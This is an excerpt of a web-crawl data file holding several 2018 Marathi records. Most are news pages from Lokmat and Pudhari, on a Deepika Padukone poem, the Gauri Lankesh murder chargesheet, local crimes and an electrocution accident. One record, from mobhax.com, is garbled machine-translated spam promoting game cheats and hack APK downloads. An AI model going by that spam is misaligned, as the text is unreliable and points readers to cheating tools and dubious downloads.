अनेक चाहते आहेत. पण सध्या दीपिकाने एका वेगळ्याच कारणानं चाहत्यांचं मन जिंकलं आहे. दीपिका पदुकोणची एक कविता सध्या सोशल मीडियावर वेगाने व्हायरल होताना दिसतेय. दीपिकाने सातवीत असताना एक कविता लिहिली होती. हिच कविता दीपिकाने आता तिच्या सोशल मीडिया अकाऊंटवरुन शेअर केली आहे. तिच्या चाहत्यांनी तिच्या या कवितेचं भरभरून कौतुक केलं आहे.\n'मी सातवीत असताना कविता लिहण्याचा प्रयत्न केला' असं दीपिकाने ही कविता शेअर करताना म्हटलं आहे. 'आय अॅम अ चाइल्ड विथ लव अँन्ड केअर' असं दीपिकाच्या या कवितेचं नाव आहे. दीपिकाचा हा नवा कलागुण पाहून सोशल मीडियावर तिचं भरभरुन कौतुक होतंय.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00365.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%B0%E0%A4%BE%E0%A4%9C%E0%A4%B8%E0%A5%8D%E0%A4%A5%E0%A4%BE%E0%A4%A8/all/page-2/", "date_download": "2018-09-25T16:52:12Z", "digest": "sha1:IOSXTCMYMPNKSJY272NRJ5TSKGW25M3Z", "length": 11982, "nlines": 144, "source_domain": "lokmat.news18.com", "title": "राजस्थान- News18 Lokmat Official Website Page-2", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nविदर्भासह देशातल्या २२ राज्यांमध्ये मुसळधार पावसाची शक्यता\nयेत्या दोन दिवसांमध्ये विदर्भासह देशातल्या 22 राज्यांमध्ये मुसळधार पावसाची शक्यता राष्ट्रीय आपत्ती व्यवस्थापन प्राधिकरणाने (NDMA) व्यक्त केलीय.\nVIDEO : राजस्थानमध्ये स्पर्धा सुरू असतानाच स्टेडियम पत्त्यासारखं कोसळलं, 17 जखमी\nपुन्हा एकदा गो- तस्करीच्या संशयातून मुस्लिम तरुणाचा बळी\nसंभाजी भिडेंची स्फोटक मुलाखत, जशी आहे तशी : मनू, डॉ.बाबासाहेब आणि आंबेपुराणावर काय बोलले भिडे गुरूजी\nVIDEO: गर्लफ्रेंड सांगणे पडले महागात,तरुणीने काठीने झोड-झोड झोडपले\nसंभाजी भिडेंविरोधात नाशिकमध्ये पोलिसांत तक्रार दाखल\nVIDEO : संभाजी भिडेंचा आंबेडकरांबद्दलचा दावा हरी नरकेंनी खोडला\nमनुस्मृतीचा अभ्यास करून आंबेडकरांनी राज्यघटना लिहिली-संभाजी भिडे\nआंबा खाल्याने पुत्रप्राप्ती होतेच हे कोर्टात सिद्ध करेन-संभाजी भिडे\nVIDEO : जखमी तरुणांची जगण्यासाठी याचना पण लोकं सेल्फी काढत होते \nव्यवसाय आणि उद्योगधंद्यामध्ये आंध्र प्रदेश नंबर वन आणि महाराष्ट्र थेट \nVIDEO : ओव्हरटेक केलं म्हणून भाजप नेत्याच्या मुलाने कार चालकाला असं मारायचं का \nVIDEO:भाजप आमदारपुत्राची कारचालकाला भररस्त्यावर मारहाण\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00365.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/national/bhojpur-youth-killed-and-thrown-near-railway-track-in-bhojpur-bihar-301597.html", "date_download": "2018-09-25T16:49:06Z", "digest": "sha1:DLMVEBZTBPGC5763CCUTMACNF257DUER", "length": 2021, "nlines": 24, "source_domain": "lokmat.news18.com", "title": "Lokmat News - तरुणाच्या हत्येनंतर गावकऱ्यांनी सेक्स वर्कर महिलेची काढली नग्नधिंड–News18 Lokmat", "raw_content": "\nतरुणाच्या हत्येनंतर गावकऱ्यांनी सेक्स वर्कर महिलेची काढली नग्नधिंड\nया जमावाने तरुणाच्या हत्येतील आरोपात रेड लाईट एरियातील एका महिलेला बेदम मारहाण केली.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00365.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/national/bjp-has-failed-in-the-b-election-this-is-4-years-of-report-card-291359.html", "date_download": "2018-09-25T16:53:34Z", "digest": "sha1:73M2GANWIYUZQUKQ4GUU53PW4JLBUAFC", "length": 2055, "nlines": 25, "source_domain": "lokmat.news18.com", "title": "Lokmat News - पोटनिवडणुकीत भाजप फेलच, 4 वर्षांचं हे आहे रिपोर्ट कार्ड !–News18 Lokmat", "raw_content": "\nपोटनिवडणुकीत भाजप फेलच, 4 वर्षांचं हे आहे रिपोर्ट कार्ड \nभाजप अध्यक्ष अमित शहा यांनी म्हटलं होतं की, \"भाजपसाठी पोटनिवडणूक जिंकणे काही अवघड नाही\" पण प्रत्यक्षात मात्र चित्र वेगळेच\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00365.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "http://mobhax.com/mr/", "date_download": "2018-09-25T17:39:30Z", "digest": "sha1:C7YVGPPQUBZ7R66FXAYLP3MAWB3S2SLC", "length": 3984, "nlines": 43, "source_domain": "mobhax.com", "title": "Mobhax - केवळ कार्यरत गेम खाच!", "raw_content": "\nआज आम्ही फासा Royale खाच Onhax बद्दल एक लेख लिहा. आपण फासा Royale खाच शोधत असाल तर तुम्हाला आहेत..\nAndroid साठी नाही सर्वेक्षण नाही पासवर्ड Royale फसवणूक फासा\nआज आम्ही Android साठी नाही सर्वेक्षण नाही पासवर्ड फासा Royale फसवणूक बद्दल एक लेख लिहा. आपण फासा Royale शोधत असाल तर..\nफासा Royale खाच दुवा\nआज आम्ही फासा Royale खाच लिंक बद्दल एक लेख लिहा. आपण फासा Royale खाच शोधत असाल तर तुम्हाला आहेत..\nफासा Royale फसवणूक मार्च\nआज आम्ही फासा Royale फसवणूक मार्च बद्दल एक लेख लिहा. आपण फासा Royale खाच शोधत असाल तर तुम्हाला आहेत..\nRoyale खाच APK डाउनलोड फासा\nआज आम्ही फासा Royale खाच APK डाउनलोड बद्दल एक लेख लिहा. आपण फासा Royale खाच शोधत असाल तर तुम्हाला आहेत..\nRoyale खाच नाही सर्वेक्षण किंवा डाउनलोड फासा\nआज आम्ही फासा Royale खाच नाही सर्वेक्षण किंवा डाऊनलोड बद्दल एक लेख लिहा. आपण फासा Royale खाच आपण शोधत असाल तर..\nRoyale फसवणूक हिरे फासा\nआज आम्ही फासा Royale फसवणूक हिरे बद्दल एक लेख लिहा. आपण फासा Royale खाच शोधत असाल तर तुम्हाला आहेत..\nआज आम्ही फासा Royale खाच Ios बद्दल एक लेख लिहा 9. आपण फासा Royale खाच शोधत असाल तर तुम्हाला आहेत..\nसर्वेक्षण न करता Royale खाच फासा\nआज आम्ही सर्वेक्षण न करता फासा Royale खाच बद्दल एक लेख लिहा. आपण फासा Royale खाच शोधत असाल तर तुम्हाला आहेत..\nRoyale खाच Apk नाही सर्वेक्षण फासा\nआज आम्ही फासा Royale खाच Apk नाही सर्वेक्षण बद्दल एक लेख लिहा. आपण फासा Royale खाच शोधत असाल तर तुम्ही धन्य आहात..\nपृष्ठ 1 च्या 74012345पुढे ›गेल्या »\nRoyale फसवणूक फासा एप्रिल 22, 2016\nगेम म्हणता (पीसी, Xbox आणि ता.क.)\nमोबाइल म्हणता (iOS & Android)\nBeatzGaming सर्व हक्क राखीव.", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00366.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/The-demand-for-arrested-of-the-killers-of-Puja-Sakat-in-Karjat/", "date_download": "2018-09-25T16:54:27Z", "digest": "sha1:5IFI44N6XR3XHSAR7M43AF43AVIGH7RJ", "length": 6490, "nlines": 37, "source_domain": "www.pudhari.news", "title": " पूजा सकटच्या मारेकर्‍यांना अटक करण्याची मागणी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › पूजा सकटच्या मारेकर्‍यांना अटक करण्याची मागणी\nपूजा सकटच्या मारेकर्‍यांना अटक करण्याची मागणी\nभीमा कोरेगाव येथे झालेल्या हिंसाचाराची एकमेव साक्षीदार असलेली पूजा सुरेश सकट हिची हत्या करणार्‍या नराधमांना अटक करावी, या मागणीसाठी काल (दि. 4) कर्जत शहरात कडकडीत बंद पाळण्यात आला. बंदला व्यापारी बांधवांनी पाठिंबा दिला.\nसकाळपासूनच शहरातील सर्व व्यवहार पूर्णपणे बंद होते. दलित संघटनांच्या वतीने तहसील कार्यालयावर मूक मोर्चा काढण्यात आला. त्यानंतर तहसीलदार किरण सावंत यांना निवेदन देण्यात आले. विजयालक्ष्मी पवार या विद्यार्थिनीच्या हस्ते निवेदन देण्यात आले. यावेळी जिल्हाध्यक्ष संजय भिसे, विकास रंधवे, विनोद पवार, राजेंद्र पवार, सतीश पवार, चंदन भिसे, संजय भैलुमे, दत्ता कदम, लहू लोंढे, मीनाक्षी उकीरडे, शोभा वसंत सकट, पोलिस उपनिरीक्षक सहदेव पालवे यांच्यासह नागरिक सहभागी झाले होते.\nनिवेदनात म्हटले आहे की, भीमा कोरेगाव येथे झालेल्या दंगलीची पूजा सकट ही प्रत्यक्ष साक्षिदार होती. या दंगलीत पूजा सकट यांचे हॉटेल व घर दंगेखोरांनी जाळून टाकले. या प्रकरणी 9 जणांवर गुन्हा दाखल करण्यात आला. विलास वेदपाठक व गणेश वेदपाठक यांना अटक झाली आहे. मात्र इतर 9 जण फरारी आहेत. दोन महिन्यांपूर्वी पूजाचा भाऊ जयदीप याने शिक्रापूर पोलिस ठाण्यात तक्रार दिली. त्यानंतर पूजाची हत्या करण्यात आली. या आरोपींना तत्काळ अटक करण्यात यावी, अशी मागणी निवेदनात करण्यात आली आहे.\nयावेळी सचिन घोडके म्हणाले, बहुजन समाजाने आज एकत्र येण्याची गरज आहे. मीनाक्षी उकिरडे यांनी भीमा कोरेगाव दंगलीतील सर्व हल्लेखोरांना ताताडीने अटक झाली पाहिजे. शोभा सकट यांनीही मनोगत व्यक्त केले. भिसे यांनी आभार मानले. आंदोलनास आरपीआयचे तालुकाध्यक्ष संजय भैलुमे यांनी पाठिंबा दिला.तहसीलदार सावंत निवदेन स्वीकारण्यास लवकर बाहेर न आल्याने आंदोलकांना उन्हात ताटकळत राहावे लागले, याचा सतीश पवार यांनी निषेध केला.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00367.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/Filed-the-chargesheet-in-the-murder-of-Gauri-Lankesh/", "date_download": "2018-09-25T16:50:18Z", "digest": "sha1:PQH4H7A4J5SG6VQTPDHRDEBYRVT26JFJ", "length": 8527, "nlines": 40, "source_domain": "www.pudhari.news", "title": " गौरी हत्येप्रकरणी आरोपपत्र दाखल | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › गौरी हत्येप्रकरणी आरोपपत्र दाखल\nगौरी हत्येप्रकरणी आरोपपत्र दाखल\nपुरोगामी विचारवंत आणि पत्रकार गौरी लंकेश यांच्या हत्येप्रकरणी आठ महिन्यांनंतर विशेष तपास पथकाने (एसआयटी) हिंदुत्ववादी संघटनेचा कार्यकर्ता के. टी. नवीनकुमार याच्याविरुद्ध बुधवारी 650 पानी आरोपपत्र न्यायालयात दाखल केले. तर लंकेश प्रकरणात हात असल्याच्या संशयावरून आणि कन्‍नड साहित्यिक के. एस. भगवान यांना खुनाची धमकी दिल्यावरून आणखी चौघांना अटक करण्यात आली आहे.\nमनोहर येडवे (वय 30, विजापूर कर्नाटक), सुजितकुमार ऊर्फ प्रवीण (37, मंगळूर), अमोल काळे ऊर्फ भाईसाब (40, महाराष्ट्र) आणि अमित देग्वेकर (गोवा) ऊर्फ प्रदीप अशी अटकेतील चौैघा संशयितांची नावे आहेत. ते सर्व हिंदुत्ववादी संघटनांचे कार्यकर्ते आहेत.\nहिंदुत्वाविरोधी नेहमीच परखड मत मांडणारे आणि पुरोगामी विचारांचे साहित्यिक के. एस. भगवान यांना जीवे मारण्याची धमकी दिल्याचा आरोप या चौघांवर आहे. पुरोगामी विचारवंत लेखक डॉ. एम. एम. कलबुर्गी यांची 30 ऑगस्ट 2015 रोजी हत्या झाली होती. ‘कलबुर्गीनंतर आता तुमचा नंबर’ अशा आशयाचे पत्र पाठवून भगवान यांना धमकावण्यात आले होते.\nनवीनकुमारविरोधात भादंवि 302 (खून), 120 बी (खुनाचा कट रचणे), 118 (गुन्हा लपविण्याचा प्रयत्न करणे) तसेच कलम 114 आणि शस्त्र कायदा अंतर्गत संशयितावर गुन्हे दाखल करण्यात आला आहेत. यामध्ये 131 जणांच्या साक्षी नोंदविण्यात आल्या आहेत. शिवाय आगामी काळात आणखी काही पुरावे आणि साक्षी सादर केल्या जाणार आहेत.गौरी लंकेश (वय 55) यांची 5 सप्टेंबर 2017 रोजी त्यांच्या राहत्या घरासमोर गोळ्या झाडून हत्या करण्यात आली होती. लाखो मोबाईल कॉल्स तपासल्यानंतर संशयित के. टी. नवीनकुमार सापडला. हत्या करण्यात आलेल्या दिवशी परिसरातील सीसी टीव्ही फुटेजवरून त्याची ओळख पटली. उप्पारपेठ पोलिसांनी 18 फेब्रुवारीला त्याला अटक केली.\nसंशयित नवीनकुमार हा मंड्या जिल्ह्यातील मद्दूर येथील राहणारा आहे. बंगळूर मॅजेस्टिक बसस्थानकात पिस्तूल आणि काडतुसांसह तो ग्राहकाच्या प्रतीक्षेत होता. शिवाय त्याने गौरी लंकेश यांच्यावर पाळत ठेवून त्यांच्याबाबतची माहिती मारेकर्‍यांना दिल्याचा आरोप आहे.\nअटकेतील नवीनकुमार याने दिलेल्या माहितीनुसार पोलिस सुजीतकुमार ऊर्फ प्रवीणच्या मागावर होते. 20 मे रोजी उप्पारपेठ पोलिसांच्या जाळ्यात सापडला. त्याच्याविरूद्ध शस्त्र नियंत्रण कायद्यांतर्गत गुन्हा नोंदविण्यात आला. गौरी लंकेश यांच्या हत्येच्या दिवशी एकजण मोटारसायकलीवर असल्याचे सीसी टीव्ही फुटेजमध्ये दिसून आले. तो प्रवीणच असावा या संशयावरून एसआयटीने त्याला ताब्यात घेतले. त्याची अधिक चौकशी केल्यानंतर आणखी तिघा संशयितांची नावे बाहेर पडली. प्रवीणच्या माहितीवरून उप्पारपेठ पोलिसांनी आणखी तिघा संशयितांना 21 मे रोजी अटक केली. चौकशीवेळी या चौघांनी मिळून के. एस. भगवान यांच्या खुनाचा कट आखल्याची माहिती उघडकीस आली.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00367.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/Death-of-the-mother-son-by-electric-shock-in/", "date_download": "2018-09-25T16:58:27Z", "digest": "sha1:G2GL3DJQXLF3J2M4WWGSGMKC4745TUX5", "length": 8787, "nlines": 38, "source_domain": "www.pudhari.news", "title": " विजेच्या धक्क्याने आई, मुलाचा मृत्यू | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › विजेच्या धक्क्याने आई, मुलाचा मृत्यू\nविजेच्या धक्क्याने आई, मुलाचा मृत्यू\nअंगणातील तारेवर कपडे वाळत घालणारी आई अचानक पडलेली पाहून तिला उठविण्यासाठी मुलगा धावत गेला. मात्र, या प्रयत्नात त्यालाही विजेचा धक्‍का बसल्याने आईसोबत मुलाचाही जागीच मृत्यू झाला. ही हृदयद्रावक दुर्घटना गुरुवारी सकाळी 11.15 वा. च्या सुमारास खारेपाटण-कोंडवाडी येथे घडली. सौ. भाग्यश्री बाळकृष्ण शिंदे (वय 60) व संजय बाळकृष्ण शिंदे (35) अशी या दुर्घटनेत मृत झालेल्यांची नावे आहेत.\nशिंदे यांच्या घराला लागूनच पत्र्याचे न्हाणीघर आहे. या पत्र्याच्या शेडला लागून कपडे वाळत घालण्यासाठी तार बांधलेली आहे. तर शेडमध्ये साध्या वायरीने विद्युतजोडणी केलेली आहे. ही वायर कट होऊन तिचा स्पर्श दुर्दैवाने कपडे वाळत घालण्याच्या तारेला झाला होता. यामुळे ती तारही विद्युतभारित बनली होती. सकाळी सौ. भाग्यश्री यांनी न्हाणीघरात कपडे धुतले, त्यानंतर वाळत घालण्यासाठी त्या अंगणात आल्या. कपडे टाकण्यासाठी तारेला स्पर्श करताच विजेच्या धक्क्याने त्या जागीच कोसळल्या. त्यावेळी तार खेचली गेल्याने एका बाजूला बांधलेला दांडा मोडून तारेसह खाली पडला.\nयामध्ये विद्युतभारित तार सौ. भाग्यश्री यांच्या अंगावरच पडून राहिली. यावेळी मुलगा संजय हा घरात बसला होता. हे दृश्य पाहून आईला उठविण्यासाठी तो धावत अंगणात आला. त्याने आईला उठविण्याचा प्रयत्न करताच त्यालाही विजेचा धक्‍का बसल्याने तो खाली कोसळला. दरम्यान ,ही घटना त्याच्या वृध्द आजीने पाहिली. हा प्रकार तिच्या लक्षात आल्याने तिने लाकडी दांड्याने तार बाजूला करण्याचा प्रयत्न केला. यामध्ये तिलाही विजेचा सौम्य धक्‍का बसला.\nयावेळी आजीने केलेली आरडाओरड ऐकून परिसरातील नागरिकांनी धाव घेतली. ग्रामस्थांनी तत्काळ या दोघांना खारेपाटण प्रा. आ. केंद्रात दाखल केले. तेथे वैद्यकीय अधिकारी डॉ. मंडावले यांनी तपासणी करून दोघेही मृत झाल्याचे सांगितले.\nया अनपेक्षित घटनेचे वृत्त गावात पसरताच गाव सुन्‍न झाला. अनेक ग्रामस्थांनी खारेपाटण प्रा. आ. केंद्र तसेच शिंदे यांच्या घराकडे धाव घेतली. शिंदे कुटुंबीय गावात समाजसेवा करणारे कुटुंब म्हणून ओळखले जाते. गावातील सण, उत्सव व धार्मिक न्यायनिवाडे त्यांच्या अंगणात केले जातात. कुटुंबप्रमुख बाळकृष्ण शिंदे हे खारेपाटण सोसायटीत लिपीक म्हणून कार्यरत आहेत. काही कामानिमित्त ते गुरूवारी सकाळी गावाबाहेर गेले होते. तर रिक्षाचालक असलेला मोठा मुलगा सचिन हा रिक्षा घेऊन नेहमीप्रमाणे व्यवसायासाठी गेला होता. या दुर्घटनेत मृत झालेला संजय शिंदे हा अविवाहित असून तो घरची शेती, बागायत सांभाळत होता. याबरोबरच दुग्ध व्यवसाय करून तो कुटुंबाला हातभार लावत होता. दोन दिवसांपूर्वीच शेतीची कामे संपल्याने तो विश्रांतीसाठी घरी थांबला होता. या घटनेची माहिती मिळताच महावितरणचे खारेपाटण येथील सहाय्यक अभियंता के. एस. मटेकर, खारेपाटण पोलिस दूरक्षेत्राचे पोहेकाँ पांडुरंग राऊत यांनी घटनास्थळी भेट देऊन पाहणी केली व पंचनामा केला.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00367.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Limca-book-record-of-Old-Womens-School-of-Murbad/", "date_download": "2018-09-25T16:56:10Z", "digest": "sha1:3NSQYVVSOBLS5SEIPEJB3DRPWTIKIJLY", "length": 6387, "nlines": 36, "source_domain": "www.pudhari.news", "title": " मुरबाडमधील आजीबाईच्या शाळेची लिम्का बुकात नोंद | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › मुरबाडमधील आजीबाईच्या शाळेची लिम्का बुकात नोंद\nमुरबाडमधील आजीबाईच्या शाळेची लिम्का बुकात नोंद\nमुरबाड / धसई : वार्ताहर\nजगभरातून कौतुक होत असलेल्या मुरबाडच्या आजीबाईच्या शाळेने लिम्का बुक पर्यंत मजल मारली आहे. लिम्का बुकात नोंद झाल्याने मुरबाडच्या शिरपेचात मानाचा तुरा रोवला आहे.\nमुरबाड तालुक्यातील दुर्गम भागातील फांगणे गावात जि. प. शिक्षक योगेन्द्र बांगर यांनी दीड वर्षांपूर्वी कै. मोतीराम गणपत दलाल चॅरिटेबल संचालित आजीबाईची शाळा सुरू केली. या शाळेत गावातील 60 ते 90 वयाच्या सर्व आजीबाईंनी सहभाग नोंदवत शिक्षणाला वयाचे बंधन नसते हे सिद्ध केले आहे. शिक्षक बांगर यांच्या उपक्रमाची दाखल घेत त्यांना कॅनडातून निमंत्रण मिळाले होते. त्यामुळे या शाळेचे जगभरातून कौतुक होत आहे. या उपक्रमानंतर बांगर यांनी त्यांच्या स्वतःच्या गावात आजी- आजोबांसाठी 